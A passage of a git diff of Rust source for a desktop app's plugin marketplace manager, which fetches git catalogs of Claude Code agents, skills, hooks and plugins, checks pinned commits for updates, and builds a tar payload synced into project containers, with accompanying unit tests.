|
||||
let (url, branch) = (m.url.clone(), m.branch.clone());
|
||||
let joined = {
|
||||
let _repo_guard = mgr.repo_lock.lock().await;
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let head = git::fetch(&repo, &url, branch.as_deref(), cred)?;
|
||||
let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?;
|
||||
Ok::<_, git::FetchError>((head, items))
|
||||
})
|
||||
.await
|
||||
};
|
||||
|
||||
match joined {
|
||||
Ok(Ok((head, items))) => {
|
||||
let snap = MarketplaceSnapshot {
|
||||
marketplace_id: m.id.clone(),
|
||||
head_commit: Some(head),
|
||||
fetched_at: Some(chrono::Utc::now().to_rfc3339()),
|
||||
fetch_error: None,
|
||||
items,
|
||||
};
|
||||
mgr.put_snapshot(snap.clone());
|
||||
snap
|
||||
}
|
||||
Ok(Err(e)) => failed_snapshot(
|
||||
mgr,
|
||||
&m,
|
||||
auth::describe_fetch_error(&e, account.as_ref(), &m.url),
|
||||
),
|
||||
Err(e) => failed_snapshot(mgr, &m, format!("The refresh task failed: {e}")),
|
||||
}
|
||||
}
|
||||
|
||||
fn item_changed(repo: &Path, inst: &MarketplaceInstall, head: &str) -> Result<bool, String> {
|
||||
let old = GitTree::open(repo, &inst.commit)?;
|
||||
let new = GitTree::open(repo, head)?;
|
||||
Ok(item_fingerprint(&old, inst.kind, &inst.key)?
|
||||
!= item_fingerprint(&new, inst.kind, &inst.key)?)
|
||||
}
|
||||
|
||||
/// Every install (global + all projects) whose item fingerprint at head
|
||||
/// differs from its pin. Installs whose pin is not in the cache are skipped.
|
||||
pub fn compute_updates(
|
||||
mgr: &MarketplaceManager,
|
||||
settings: &AppSettings,
|
||||
projects: &[Project],
|
||||
) -> Vec<ItemUpdate> {
|
||||
let mut seen = BTreeSet::new();
|
||||
let mut out = Vec::new();
|
||||
let all = settings
|
||||
.global_marketplace_installs
|
||||
.iter()
|
||||
.chain(projects.iter().flat_map(|p| p.marketplace_installs.iter()));
|
||||
for inst in all {
|
||||
if !seen.insert((inst.item_ref(), inst.commit.clone())) {
|
||||
continue;
|
||||
}
|
||||
let Some(m) = settings
|
||||
.marketplaces
|
||||
.iter()
|
||||
.find(|m| m.id == inst.marketplace_id)
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
let Some(head) = head_for(mgr, m) else {
|
||||
continue;
|
||||
};
|
||||
if head == inst.commit {
|
||||
continue;
|
||||
}
|
||||
let repo = git::cache_path(mgr.data_root(), &m.id);
|
||||
match item_changed(&repo, inst, &head) {
|
||||
Ok(true) => out.push(ItemUpdate {
|
||||
item: inst.item_ref(),
|
||||
pinned: inst.commit.clone(),
|
||||
head,
|
||||
}),
|
||||
Ok(false) => {}
|
||||
Err(e) => log::debug!("Update check skipped for {}: {}", inst.key, e),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn project_installs(settings: &AppSettings, project: &Project) -> Vec<MarketplaceInstall> {
|
||||
effective_installs(
|
||||
&settings.global_marketplace_installs,
|
||||
&project.marketplace_disabled,
|
||||
&project.marketplace_installs,
|
||||
)
|
||||
}
|
||||
|
||||
/// Build the project's payload and sync it into its running container. The
|
||||
/// report is stored (and persisted) whatever happens. Holds the project's sync
|
||||
/// lock throughout, so concurrent syncs of one project run one after another.
|
||||
pub async fn sync_project(
|
||||
mgr: &MarketplaceManager,
|
||||
settings: &AppSettings,
|
||||
project: &Project,
|
||||
container_id: &str,
|
||||
) -> SyncReport {
|
||||
let lock = mgr.sync_lock(&project.id);
|
||||
let _sync_guard = lock.lock().await;
|
||||
|
||||
let installs = project_installs(settings, project);
|
||||
let marketplaces = settings.marketplaces.clone();
|
||||
let root = mgr.data_root().to_path_buf();
|
||||
let built = tokio::task::spawn_blocking(move || {
|
||||
payload::build_payload(&payload::PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: &root,
|
||||
})
|
||||
})
|
||||
.await
|
||||
.map_err(|e| format!("Building the marketplace payload failed: {e}"))
|
||||
.and_then(|r| r);
|
||||
|
||||
let report = match built {
|
||||
Ok(p) => {
|
||||
let items = p.manifest["items"].as_array().map_or(0, Vec::len);
|
||||
log::debug!(
|
||||
"Marketplace sync for project {}: {} item(s) in the payload, {} skipped on the host",
|
||||
project.id,
|
||||
items,
|
||||
p.skipped.len()
|
||||
);
|
||||
let result = sync::sync_container(container_id, &p).await;
|
||||
sync::with_payload_skips(sync::report_from_result(result), &p.skipped)
|
||||
}
|
||||
Err(e) => sync::report_from_result(Err(e)),
|
||||
};
|
||||
mgr.put_report(&project.id, report.clone());
|
||||
report
|
||||
}
|
||||
|
||||
/// A project with no items that has never been synced has nothing to add and
|
||||
/// nothing to remove, so its start does not wait on a sync at all.
|
||||
pub fn should_sync(mgr: &MarketplaceManager, settings: &AppSettings, project: &Project) -> bool {
|
||||
!project_installs(settings, project).is_empty() || mgr.report(&project.id).is_some()
|
||||
}
|
||||
|
||||
/// Sync in the background after a container start. The sync waits for the
|
||||
/// entrypoint to finish (which can include a two-minute `claude update`), and
|
||||
/// its failure must never fail the start — so the start never awaits it.
|
||||
pub fn spawn_project_sync(
|
||||
app: tauri::AppHandle,
|
||||
mgr: Arc<MarketplaceManager>,
|
||||
settings: AppSettings,
|
||||
project: Project,
|
||||
container_id: String,
|
||||
) {
|
||||
if !should_sync(&mgr, &settings, &project) {
|
||||
return;
|
||||
}
|
||||
tauri::async_runtime::spawn(async move {
|
||||
let report = sync_project(&mgr, &settings, &project, &container_id).await;
|
||||
if !report.errors.is_empty() {
|
||||
log::warn!(
|
||||
"Marketplace sync for project {} reported errors: {:?}",
|
||||
project.id,
|
||||
report.errors
|
||||
);
|
||||
}
|
||||
let _ = app.emit(
|
||||
SYNC_FINISHED_EVENT,
|
||||
serde_json::json!({ "project_id": project.id, "report": report }),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
/// All commits referenced by installs, per marketplace (for `git::set_pins`).
|
||||
pub fn pins_by_marketplace(
|
||||
settings: &AppSettings,
|
||||
projects: &[Project],
|
||||
) -> HashMap<String, Vec<String>> {
|
||||
let mut map: HashMap<String, BTreeSet<String>> = HashMap::new();
|
||||
let all = settings
|
||||
.global_marketplace_installs
|
||||
.iter()
|
||||
.chain(projects.iter().flat_map(|p| p.marketplace_installs.iter()));
|
||||
for inst in all {
|
||||
map.entry(inst.marketplace_id.clone())
|
||||
.or_default()
|
||||
.insert(inst.commit.clone());
|
||||
}
|
||||
map.into_iter()
|
||||
.map(|(k, v)| (k, v.into_iter().collect()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::marketplace::test_support::GitFixture;
|
||||
use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall};
|
||||
|
||||
fn settings_with(url: &str) -> AppSettings {
|
||||
let mut s = AppSettings::default();
|
||||
s.marketplaces.push(Marketplace {
|
||||
id: "m1".into(),
|
||||
name: "Test".into(),
|
||||
url: url.into(),
|
||||
branch: None,
|
||||
account_id: None,
|
||||
});
|
||||
s
|
||||
}
|
||||
|
||||
fn install(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
|
||||
MarketplaceInstall {
|
||||
marketplace_id: "m1".into(),
|
||||
kind,
|
||||
key: key.into(),
|
||||
commit: commit.into(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn refresh_parses_the_catalog_at_head() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
|
||||
let snap = refresh_marketplace(&mgr, &settings_with(&fx.url()), "m1").await;
|
||||
|
||||
assert_eq!(snap.fetch_error, None);
|
||||
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
|
||||
assert!(snap.fetched_at.is_some());
|
||||
let mut keys: Vec<String> = snap
|
||||
.items
|
||||
.iter()
|
||||
.map(|i| format!("{:?}:{}", i.kind, i.key))
|
||||
.collect();
|
||||
keys.sort();
|
||||
assert_eq!(
|
||||
keys,
|
||||
vec![
|
||||
"Agent:code-reviewer",
|
||||
"Command:example-command",
|
||||
"Hook:notify-on-stop",
|
||||
"Plugin:example-plugin",
|
||||
"Skill:example-skill",
|
||||
]
|
||||
);
|
||||
assert_eq!(mgr.snapshot("m1"), Some(snap));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn refresh_failure_keeps_snapshot() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
let url = fx.url();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let settings = settings_with(&url);
|
||||
let first = refresh_marketplace(&mgr, &settings, "m1").await;
|
||||
assert_eq!(first.fetch_error, None);
|
||||
|
||||
drop(fx); // the source repository disappears (offline, deleted, …)
|
||||
let second = refresh_marketplace(&mgr, &settings, "m1").await;
|
||||
|
||||
assert!(second.fetch_error.is_some(), "expected a fetch error");
|
||||
assert_eq!(second.head_commit.as_deref(), Some(c1.as_str()));
|
||||
assert_eq!(second.items, first.items);
|
||||
assert_eq!(second.fetched_at, first.fetched_at);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn refresh_waits_for_the_repo_lock() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let settings = settings_with(&fx.url());
|
||||
|
||||
let guard = mgr.repo_lock().lock().await;
|
||||
let blocked = tokio::time::timeout(
|
||||
std::time::Duration::from_millis(300),
|
||||
refresh_marketplace(&mgr, &settings, "m1"),
|
||||
)
|
||||
.await;
|
||||
assert!(blocked.is_err(), "refresh must not fetch while the repo lock is held");
|
||||
assert!(
|
||||
!git::cache_path(data.path(), "m1").exists(),
|
||||
"nothing may touch the cache while the lock is held"
|
||||
);
|
||||
drop(guard);
|
||||
|
||||
let snap = refresh_marketplace(&mgr, &settings, "m1").await;
|
||||
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_refreshes_all_succeed() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let settings = settings_with(&fx.url());
|
||||
|
||||
let (a, b, c) = tokio::join!(
|
||||
refresh_marketplace(&mgr, &settings, "m1"),
|
||||
refresh_marketplace(&mgr, &settings, "m1"),
|
||||
refresh_marketplace(&mgr, &settings, "m1"),
|
||||
);
|
||||
for snap in [a, b, c] {
|
||||
assert_eq!(snap.fetch_error, None);
|
||||
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cached_snapshot_loads_without_network() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let settings = settings_with(&fx.url());
|
||||
{
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
refresh_marketplace(&mgr, &settings, "m1").await;
|
||||
}
|
||||
drop(fx);
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let snap = load_cached_snapshot(&mgr, &settings.marketplaces[0]);
|
||||
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
|
||||
assert_eq!(snap.items.len(), 5);
|
||||
assert_eq!(snap.fetch_error, None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn only_items_whose_own_files_changed_have_updates() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
fx.write(
|
||||
"agents/code-reviewer.md",
|
||||
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n",
|
||||
);
|
||||
let c2 = fx.commit("tweak agent");
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let mut settings = settings_with(&fx.url());
|
||||
settings.global_marketplace_installs = vec![
|
||||
install(ItemKind::Agent, "code-reviewer", &c1),
|
||||
install(ItemKind::Hook, "notify-on-stop", &c1),
|
||||
];
|
||||
let mut project = crate::models::Project::new("p".into(), vec![]);
|
||||
project.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)];
|
||||
refresh_marketplace(&mgr, &settings, "m1").await;
|
||||
|
||||
let updates = compute_updates(&mgr, &settings, &[project]);
|
||||
|
||||
assert_eq!(updates.len(), 1, "{updates:?}");
|
||||
assert_eq!(updates[0].item.key, "code-reviewer");
|
||||
assert_eq!(updates[0].pinned, c1);
|
||||
assert_eq!(updates[0].head, c2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pins_are_grouped_and_deduplicated_per_marketplace() {
|
||||
let a = "a".repeat(40);
|
||||
let b = "b".repeat(40);
|
||||
let mut settings = settings_with("https://example.invalid/r.git");
|
||||
settings.global_marketplace_installs = vec![
|
||||
install(ItemKind::Agent, "x", &b),
|
||||
install(ItemKind::Hook, "y", &a),
|
||||
];
|
||||
let mut project = crate::models::Project::new("p".into(), vec![]);
|
||||
project.marketplace_installs = vec![install(ItemKind::Agent, "z", &a)];
|
||||
let pins = pins_by_marketplace(&settings, &[project]);
|
||||
assert_eq!(pins.get("m1"), Some(&vec![a.clone(), b.clone()]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reports_are_persisted_per_project() {
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let report = SyncReport {
|
||||
installed: vec!["agent:x".into()],
|
||||
..Default::default()
|
||||
};
|
||||
MarketplaceManager::new(data.path().to_path_buf()).put_report("proj-1", report.clone());
|
||||
let fresh = MarketplaceManager::new(data.path().to_path_buf());
|
||||
assert_eq!(fresh.report("proj-1"), Some(report));
|
||||
assert_eq!(fresh.report("proj-2"), None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn only_one_gh_login_may_hold_the_cancel_slot() {
|
||||
let mgr = MarketplaceManager::new(std::env::temp_dir());
|
||||
let (tx1, rx1) = tokio::sync::oneshot::channel();
|
||||
let (tx2, _rx2) = tokio::sync::oneshot::channel();
|
||||
assert!(mgr.set_gh_login_cancel(Some(tx1)).await);
|
||||
assert!(!mgr.set_gh_login_cancel(Some(tx2)).await);
|
||||
mgr.cancel_gh_login().await;
|
||||
assert!(rx1.await.is_ok(), "cancel must signal the running login");
|
||||
let (tx3, _rx3) = tokio::sync::oneshot::channel();
|
||||
assert!(
|
||||
mgr.set_gh_login_cancel(Some(tx3)).await,
|
||||
"slot is free after cancel"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn releasing_a_finished_login_never_frees_a_newer_ones_slot() {
|
||||
let mgr = MarketplaceManager::new(std::env::temp_dir());
|
||||
// Login A is cancelled, and login B claims the slot before A returns.
|
||||
let (tx_a, rx_a) = tokio::sync::oneshot::channel::<()>();
|
||||
assert!(mgr.set_gh_login_cancel(Some(tx_a)).await);
|
||||
mgr.cancel_gh_login().await;
|
||||
let (tx_b, mut rx_b) = tokio::sync::oneshot::channel::<()>();
|
||||
assert!(mgr.set_gh_login_cancel(Some(tx_b)).await);
|
||||
drop(rx_a); // A returns.
|
||||
mgr.release_gh_login().await;
|
||||
assert!(
|
||||
matches!(rx_b.try_recv(), Err(tokio::sync::oneshot::error::TryRecvError::Empty)),
|
||||
"B's sender must still be held, not dropped"
|
||||
);
|
||||
// B returns: its slot is freed.
|
||||
drop(rx_b);
|
||||
mgr.release_gh_login().await;
|
||||
let (tx_c, _rx_c) = tokio::sync::oneshot::channel::<()>();
|
||||
assert!(mgr.set_gh_login_cancel(Some(tx_c)).await);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_project_that_never_had_items_is_not_synced() {
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let settings = settings_with("https://example.invalid/r.git");
|
||||
let project = crate::models::Project::new("p".into(), vec![]);
|
||||
assert!(!should_sync(&mgr, &settings, &project));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_project_with_items_or_a_previous_sync_is_synced() {
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let mut settings = settings_with("https://example.invalid/r.git");
|
||||
let project = crate::models::Project::new("p".into(), vec![]);
|
||||
settings.global_marketplace_installs = vec![install(ItemKind::Agent, "a", &"a".repeat(40))];
|
||||
assert!(should_sync(&mgr, &settings, &project), "global items apply");
|
||||
|
||||
// Everything was uninstalled since the last sync: the container still
|
||||
// holds the old files, so it must be synced to remove them.
|
||||
settings.global_marketplace_installs.clear();
|
||||
mgr.put_report(&project.id, SyncReport::default());
|
||||
assert!(should_sync(&mgr, &settings, &project));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_project_whose_only_item_is_disabled_is_not_synced() {
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let mut settings = settings_with("https://example.invalid/r.git");
|
||||
let inst = install(ItemKind::Agent, "a", &"a".repeat(40));
|
||||
let mut project = crate::models::Project::new("p".into(), vec![]);
|
||||
project.marketplace_disabled = vec![inst.item_ref()];
|
||||
settings.global_marketplace_installs = vec![inst];
|
||||
assert!(!should_sync(&mgr, &settings, &project));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sync_locks_are_per_project() {
|
||||
let mgr = MarketplaceManager::new(std::env::temp_dir());
|
||||
let a1 = mgr.sync_lock("a");
|
||||
let a2 = mgr.sync_lock("a");
|
||||
let b = mgr.sync_lock("b");
|
||||
assert!(Arc::ptr_eq(&a1, &a2), "one lock per project");
|
||||
assert!(!Arc::ptr_eq(&a1, &b), "projects do not block each other");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sync_project_waits_for_the_projects_sync_lock() {
|
||||
// Pre-flight F11b: a start sync and Apply now must never run sync.sh
|
||||
// in the same container at once.
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let mgr = MarketplaceManager::new(data.path().to_path_buf());
|
||||
let settings = settings_with("https://example.invalid/r.git");
|
||||
let project = crate::models::Project::new("p".into(), vec![]);
|
||||
|
||||
let lock = mgr.sync_lock(&project.id);
|
||||
let guard = lock.lock().await;
|
||||
let blocked = tokio::time::timeout(
|
||||
std::time::Duration::from_millis(300),
|
||||
sync_project(&mgr, &settings, &project, "no-such-container"),
|
||||
)
|
||||
.await;
|
||||
assert!(blocked.is_err(), "sync must wait while another sync holds the lock");
|
||||
assert_eq!(mgr.report(&project.id), None, "nothing ran while blocked");
|
||||
drop(guard);
|
||||
|
||||
// No Docker (or no such container) here: the failure becomes a stored
|
||||
// report instead of an error.
|
||||
let report = sync_project(&mgr, &settings, &project, "no-such-container").await;
|
||||
assert_eq!(report.errors.len(), 1, "{report:?}");
|
||||
assert!(!report.finished_at.is_empty());
|
||||
assert_eq!(mgr.report(&project.id), Some(report));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,561 @@
|
||||
//! Builds the tar a project's container receives: every effective install's
|
||||
//! files, read from the cache at its pinned commit, plus `manifest.json` and a
|
||||
//! generated Claude Code catalog per marketplace that contributes plugins.
|
||||
//! Layout: see the Interface Contract in the plan / spec §4. The tar carries
|
||||
//! no directory entries — the sync script's extraction (plus its umask)
|
||||
//! creates them.
|
||||
|
||||
use std::collections::{BTreeMap, BTreeSet};
|
||||
use std::path::Path;
|
||||
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use super::catalog::{item_files, plugin_catalog_entry, rendered_hook_settings, ItemFile};
|
||||
use super::git;
|
||||
use super::tree::GitTree;
|
||||
use crate::models::marketplace::{
|
||||
is_valid_commit, is_valid_item_key, marketplace_slug, ItemKind, Marketplace,
|
||||
MarketplaceInstall, SkippedItem,
|
||||
};
|
||||
|
||||
pub struct PayloadInput<'a> {
|
||||
pub installs: &'a [MarketplaceInstall],
|
||||
pub marketplaces: &'a [Marketplace],
|
||||
/// data root used to find caches (see git::cache_path)
|
||||
pub data_root: &'a Path,
|
||||
}
|
||||
|
||||
pub struct Payload {
|
||||
pub tar: Vec<u8>,
|
||||
pub manifest: Value,
|
||||
pub skipped: Vec<SkippedItem>,
|
||||
}
|
||||
|
||||
/// A relative path from `item_files` is joined under a directory we chose, so
|
||||
/// it must not be able to climb out of it. The catalog already refuses such
|
||||
/// entries; this is the second line.
|
||||
fn safe_rel(rel: &str) -> bool {
|
||||
!rel.is_empty()
|
||||
&& !rel.starts_with('/')
|
||||
&& !rel.contains('\\')
|
||||
&& rel
|
||||
.split('/')
|
||||
.all(|seg| !seg.is_empty() && seg != "." && seg != "..")
|
||||
}
|
||||
|
||||
struct TarWriter {
|
||||
builder: tar::Builder<Vec<u8>>,
|
||||
mtime: u64,
|
||||
}
|
||||
|
||||
impl TarWriter {
|
||||
fn new() -> Self {
|
||||
let mtime = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0);
|
||||
Self {
|
||||
builder: tar::Builder::new(Vec::new()),
|
||||
mtime,
|
||||
}
|
||||
}
|
||||
|
||||
fn file(&mut self, path: &str, data: &[u8], executable: bool) -> Result<(), String> {
|
||||
let mut header = tar::Header::new_gnu();
|
||||
header.set_size(data.len() as u64);
|
||||
header.set_mode(if executable { 0o755 } else { 0o644 });
|
||||
header.set_mtime(self.mtime);
|
||||
header.set_entry_type(tar::EntryType::Regular);
|
||||
self.builder
|
||||
.append_data(&mut header, path, data)
|
||||
.map_err(|e| format!("Could not add {path} to the marketplace payload: {e}"))
|
||||
}
|
||||
|
||||
fn finish(self) -> Result<Vec<u8>, String> {
|
||||
self.builder
|
||||
.into_inner()
|
||||
.map_err(|e| format!("Could not finish the marketplace payload: {e}"))
|
||||
}
|
||||
}
|
||||
|
||||
struct PluginGroup {
|
||||
entries: Vec<Value>,
|
||||
keys: Vec<String>,
|
||||
}
|
||||
|
||||
/// Files of one install, validated for use as payload paths.
|
||||
fn install_files(
|
||||
repo: &Path,
|
||||
inst: &MarketplaceInstall,
|
||||
) -> Result<(GitTree, Vec<ItemFile>), String> {
|
||||
let tree = GitTree::open(repo, &inst.commit)?;
|
||||
let files = item_files(&tree, inst.kind, &inst.key)?;
|
||||
if let Some(bad) = files.iter().find(|f| !safe_rel(&f.rel_path)) {
|
||||
return Err(format!("contains an unsafe path ({})", bad.rel_path));
|
||||
}
|
||||
Ok((tree, files))
|
||||
}
|
||||
|
||||
pub fn build_payload(input: &PayloadInput) -> Result<Payload, String> {
|
||||
let mut tar = TarWriter::new();
|
||||
let mut items: Vec<Value> = Vec::new();
|
||||
let mut skipped: Vec<SkippedItem> = Vec::new();
|
||||
// State ids (see sync.sh) of installs the host could not build this time:
|
||||
// the container keeps what it has for them instead of treating them as
|
||||
// deselected (final review M3). Only a removed source really removes.
|
||||
let mut held: BTreeSet<String> = BTreeSet::new();
|
||||
let mut plugin_groups: BTreeMap<String, PluginGroup> = BTreeMap::new();
|
||||
// Non-plugin items share one namespace in ~/.claude; plugins are namespaced
|
||||
// by their per-marketplace catalog, so they never collide.
|
||||
let mut taken: BTreeSet<(ItemKind, String)> = BTreeSet::new();
|
||||
|
||||
for inst in input.installs {
|
||||
let label = format!("{}:{}", inst.kind.as_str(), inst.key);
|
||||
let mut skip = |reason: String| {
|
||||
skipped.push(SkippedItem {
|
||||
item: label.clone(),
|
||||
reason,
|
||||
})
|
||||
};
|
||||
|
||||
let Some(m) = input
|
||||
.marketplaces
|
||||
.iter()
|
||||
.find(|m| m.id == inst.marketplace_id)
|
||||
else {
|
||||
skip("its marketplace has been removed".to_string());
|
||||
continue;
|
||||
};
|
||||
let state_id = match inst.kind {
|
||||
ItemKind::Plugin => format!("plugin:{}/{}", marketplace_slug(&m.id), inst.key),
|
||||
_ => label.clone(),
|
||||
};
|
||||
let mut hold = |reason: String| {
|
||||
held.insert(state_id.clone());
|
||||
skip(reason)
|
||||
};
|
||||
if !is_valid_item_key(&inst.key) {
|
||||
skip("the saved install entry is invalid".to_string());
|
||||
continue;
|
||||
}
|
||||
if !is_valid_commit(&inst.commit) {
|
||||
hold("the saved install entry is invalid".to_string());
|
||||
continue;
|
||||
}
|
||||
if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) {
|
||||
skip(format!(
|
||||
"another marketplace's {label} is already installed"
|
||||
));
|
||||
continue;
|
||||
}
|
||||
let repo = git::cache_path(input.data_root, &m.id);
|
||||
if !git::has_commit(&repo, &inst.commit) {
|
||||
hold(format!(
|
||||
"pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace",
|
||||
&inst.commit[..8],
|
||||
m.name
|
||||
));
|
||||
continue;
|
||||
}
|
||||
let (tree, files) = match install_files(&repo, inst) {
|
||||
Ok(v) => v,
|
||||
Err(e) => {
|
||||
hold(e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let key = &inst.key;
|
||||
let mut item = json!({
|
||||
"kind": inst.kind.as_str(),
|
||||
"key": key,
|
||||
"marketplace": m.id,
|
||||
"commit": inst.commit,
|
||||
});
|
||||
match inst.kind {
|
||||
ItemKind::Agent | ItemKind::Command => {
|
||||
let dir = if inst.kind == ItemKind::Agent {
|
||||
"agents"
|
||||
} else {
|
||||
"commands"
|
||||
};
|
||||
let Some(f) = files.first() else {
|
||||
hold("has no files".to_string());
|
||||
continue;
|
||||
};
|
||||
let path = format!("{dir}/{key}.md");
|
||||
tar.file(&path, &f.data, false)?;
|
||||
item["file"] = json!(path);
|
||||
}
|
||||
ItemKind::Skill | ItemKind::Hook => {
|
||||
let dir = if inst.kind == ItemKind::Skill {
|
||||
format!("skills/{key}")
|
||||
} else {
|
||||
format!("hooks/{key}")
|
||||
};
|
||||
if inst.kind == ItemKind::Hook {
|
||||
match rendered_hook_settings(&tree, key) {
|
||||
Ok(settings) => item["settings"] = settings,
|
||||
Err(e) => {
|
||||
hold(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
for f in &files {
|
||||
tar.file(&format!("{dir}/{}", f.rel_path), &f.data, f.executable)?;
|
||||
}
|
||||
item["dir"] = json!(dir);
|
||||
}
|
||||
ItemKind::Plugin => {
|
||||
let mut entry = match plugin_catalog_entry(&tree, key) {
|
||||
Ok(e) => e,
|
||||
Err(e) => {
|
||||
hold(e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
entry["source"] = json!(format!("./{key}"));
|
||||
let slug = marketplace_slug(&m.id);
|
||||
for f in &files {
|
||||
tar.file(
|
||||
&format!("plugins/{slug}/{key}/{}", f.rel_path),
|
||||
&f.data,
|
||||
f.executable,
|
||||
)?;
|
||||
}
|
||||
let group = plugin_groups
|
||||
.entry(slug.clone())
|
||||
.or_insert_with(|| PluginGroup {
|
||||
entries: Vec::new(),
|
||||
keys: Vec::new(),
|
||||
});
|
||||
group.entries.push(entry);
|
||||
group.keys.push(key.clone());
|
||||
item["slug"] = json!(slug);
|
||||
}
|
||||
}
|
||||
if inst.kind != ItemKind::Plugin {
|
||||
taken.insert((inst.kind, key.clone()));
|
||||
}
|
||||
items.push(item);
|
||||
}
|
||||
|
||||
let mut plugin_marketplaces = Vec::new();
|
||||
for (slug, group) in plugin_groups {
|
||||
let catalog = json!({
|
||||
"name": format!("triple-c-{slug}"),
|
||||
"owner": { "name": "Triple-C" },
|
||||
"plugins": group.entries,
|
||||
});
|
||||
let bytes = serde_json::to_vec_pretty(&catalog).map_err(|e| e.to_string())?;
|
||||
tar.file(
|
||||
&format!("plugins/{slug}/.claude-plugin/marketplace.json"),
|
||||
&bytes,
|
||||
false,
|
||||
)?;
|
||||
plugin_marketplaces
|
||||
.push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys }));
|
||||
}
|
||||
|
||||
let manifest = json!({
|
||||
"version": 1,
|
||||
"items": items,
|
||||
"plugin_marketplaces": plugin_marketplaces,
|
||||
"held": held,
|
||||
});
|
||||
let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?;
|
||||
tar.file("manifest.json", &bytes, false)?;
|
||||
|
||||
Ok(Payload {
|
||||
tar: tar.finish()?,
|
||||
manifest,
|
||||
skipped,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::marketplace::test_support::GitFixture;
|
||||
use std::collections::HashMap;
|
||||
use std::io::Read;
|
||||
|
||||
struct Entry {
|
||||
data: Vec<u8>,
|
||||
mode: u32,
|
||||
}
|
||||
|
||||
fn unpack(tar_bytes: &[u8]) -> HashMap<String, Entry> {
|
||||
let mut archive = tar::Archive::new(tar_bytes);
|
||||
let mut out = HashMap::new();
|
||||
for e in archive.entries().unwrap() {
|
||||
let mut e = e.unwrap();
|
||||
let path = e.path().unwrap().to_string_lossy().into_owned();
|
||||
let mode = e.header().mode().unwrap();
|
||||
let mut data = Vec::new();
|
||||
e.read_to_end(&mut data).unwrap();
|
||||
out.insert(path, Entry { data, mode });
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn market(id: &str) -> Marketplace {
|
||||
Marketplace {
|
||||
id: id.into(),
|
||||
name: "Team Tools".into(),
|
||||
url: "https://example.invalid/r.git".into(),
